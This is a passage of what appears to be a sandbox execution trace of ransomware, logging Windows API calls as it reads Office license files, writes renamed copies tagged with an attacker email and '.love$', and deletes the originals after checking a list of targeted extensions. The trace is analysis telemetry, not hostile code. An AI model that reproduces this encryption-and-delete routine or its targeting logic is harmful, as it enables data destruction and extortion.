lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.722] lstrlenW (lpString=".1cd") returned 4 [0268.722] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0268.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0268.723] lstrlenW (lpString=".jpg") returned 4 [0268.723] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0268.723] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0268.723] lstrlenW (lpString="MondoR_OEM_Perp-ppd.xrm-ms") returned 26 [0268.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0268.726] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=26464) returned 1 [0268.726] CloseHandle (hObject=0x564) returned 1 [0268.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 0x220 [0268.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0268.727] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.727] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0268.729] GetLastError () returned 0x0 [0268.729] ReadFile (in: hFile=0x564, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x6760, lpOverlapped=0x0) returned 1 [0268.735] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x6770, lpOverlapped=0x0) returned 1 [0268.738] ReadFile (in: hFile=0x564, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.738] WriteFile (in: hFile=0x57c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x108, lpOverlapped=0x0) returned 1 [0268.738] SetEndOfFile (hFile=0x57c) returned 1 [0268.738] CloseHandle (hObject=0x57c) returned 1 [0268.821] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.826] SetEndOfFile (hFile=0x564) returned 1 [0268.834] CloseHandle (hObject=0x564) returned 1 [0268.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-ppd.xrm-ms")) returned 1 [0270.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.222] lstrlenW (lpString=".doc") returned 4 [0270.222] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.222] lstrlenW (lpString=".docx") returned 5 [0270.222] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.223] lstrlenW (lpString=".pdf") returned 4 [0270.223] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString=".xls") returned 4 [0270.223] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString=".xlsx") returned 5 [0270.223] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.223] lstrlenW (lpString=".ppt") returned 4 [0270.223] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.223] lstrlenW (lpString=".zip") returned 4 [0270.223] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString=".rar") returned 4 [0270.223] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString=".bz2") returned 4 [0270.223] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString=".7z") returned 3 [0270.223] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.223] lstrlenW (lpString=".dbf") returned 4 [0270.223] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.224] lstrlenW (lpString=".1cd") returned 4 [0270.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.224] lstrlenW (lpString=".jpg") returned 4 [0270.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.224] lstrlenW (lpString=".doc") returned 4 [0270.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.224] lstrlenW (lpString=".docx") returned 5 [0270.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.224] lstrlenW (lpString=".pdf") returned 4 [0270.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.224] lstrlenW (lpString=".xls") returned 4 [0270.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.224] lstrlenW (lpString=".xlsx") returned 5 [0270.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.225] lstrlenW (lpString=".ppt") returned 4 [0270.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.225] lstrlenW (lpString=".zip") returned 4 [0270.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString=".rar") returned 4 [0270.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString=".bz2") returned 4 [0270.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString=".7z") returned 3 [0270.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.225] lstrlenW (lpString=".dbf") returned 4 [0270.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.225] lstrlenW (lpString=".1cd") returned 4 [0270.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-ppd.xrm-ms") returned 76 [0270.225] lstrlenW (lpString=".jpg") returned 4 [0270.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.226] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.226] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27 [0270.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0270.228] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11574) returned 1 [0270.228] CloseHandle (hObject=0x534) returned 1 [0270.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0270.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0270.229] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.229] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0270.232] GetLastError () returned 0x0 [0270.232] ReadFile (in: hFile=0x534, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d36, lpOverlapped=0x0) returned 1 [0270.235] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0270.237] ReadFile (in: hFile=0x534, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.237] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0270.237] SetEndOfFile (hFile=0x4c8) returned 1 [0270.238] CloseHandle (hObject=0x4c8) returned 1 [0270.238] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.238] SetEndOfFile (hFile=0x534) returned 1 [0270.243] CloseHandle (hObject=0x534) returned 1 [0270.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1 [0270.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.246] lstrlenW (lpString=".doc") returned 4 [0270.246] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.246] lstrlenW (lpString=".docx") returned 5 [0270.246] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.246] lstrlenW (lpString=".pdf") returned 4 [0270.247] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString=".xls") returned 4 [0270.247] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString=".xlsx") returned 5 [0270.247] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.247] lstrlenW (lpString=".ppt") returned 4 [0270.247] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.247] lstrlenW (lpString=".zip") returned 4 [0270.247] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString=".rar") returned 4 [0270.247] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString=".bz2") returned 4 [0270.247] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString=".7z") returned 3 [0270.247] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.247] lstrlenW (lpString=".dbf") returned 4 [0270.247] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.247] lstrlenW (lpString=".1cd") returned 4 [0270.248] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.248] lstrlenW (lpString=".jpg") returned 4 [0270.248] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.248] lstrlenW (lpString=".doc") returned 4 [0270.248] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString=".docx") returned 5 [0270.248] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0270.248] lstrlenW (lpString=".pdf") returned 4 [0270.248] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString=".xls") returned 4 [0270.248] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString=".xlsx") returned 5 [0270.248] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0270.248] lstrlenW (lpString=".ppt") returned 4 [0270.248] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0270.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.248] lstrlenW (lpString=".zip") returned 4 [0270.249] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0270.249] lstrlenW (lpString=".rar") returned 4 [0270.249] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0270.249] lstrlenW (lpString=".bz2") returned 4 [0270.249] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0270.249] lstrlenW (lpString=".7z") returned 3 [0270.249] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.249] lstrlenW (lpString=".dbf") returned 4 [0270.249] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.249] lstrlenW (lpString=".1cd") returned 4 [0270.249] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0270.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0270.249] lstrlenW (lpString=".jpg") returned 4 [0270.249] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0270.250] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0270.250] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27 [0270.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0270.252] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19919) returned 1 [0270.252] CloseHandle (hObject=0x534) returned 1 [0270.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0270.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0270.253] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.254] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0270.255] GetLastError () returned 0x0 [0270.256] ReadFile (in: hFile=0x534, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0270.622] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0270.625] ReadFile (in: hFile=0x534, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.625] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0270.625] SetEndOfFile (hFile=0x4c8) returned 1 [0270.625] CloseHandle (hObject=0x4c8) returned 1 [0270.626] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.626] SetEndOfFile (hFile=0x534) returned 1 [0270.631] CloseHandle (hObject=0x534) returned 1 [0270.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1 [0271.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.117] lstrlenW (lpString=".doc") returned 4 [0271.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.117] lstrlenW (lpString=".docx") returned 5 [0271.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.117] lstrlenW (lpString=".pdf") returned 4 [0271.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString=".xls") returned 4 [0271.118] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString=".xlsx") returned 5 [0271.118] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.118] lstrlenW (lpString=".ppt") returned 4 [0271.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.118] lstrlenW (lpString=".zip") returned 4 [0271.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString=".rar") returned 4 [0271.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString=".bz2") returned 4 [0271.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.118] lstrlenW (lpString=".7z") returned 3 [0271.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.118] lstrlenW (lpString=".dbf") returned 4 [0271.119] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.119] lstrlenW (lpString=".1cd") returned 4 [0271.119] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.119] lstrlenW (lpString=".jpg") returned 4 [0271.119] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.119] lstrlenW (lpString=".doc") returned 4 [0271.119] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString=".docx") returned 5 [0271.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0271.119] lstrlenW (lpString=".pdf") returned 4 [0271.119] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString=".xls") returned 4 [0271.119] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0271.119] lstrlenW (lpString=".xlsx") returned 5 [0271.119] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0271.119] lstrlenW (lpString=".ppt") returned 4 [0271.120] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0271.120] lstrlenW (lpString=".zip") returned 4 [0271.120] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString=".rar") returned 4 [0271.120] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString=".bz2") returned 4 [0271.120] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0271.120] lstrlenW (lpString=".7z") returned 3 [0271.120] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0271.120] lstrlenW (lpString="C:\\Program Files\\Microsoft 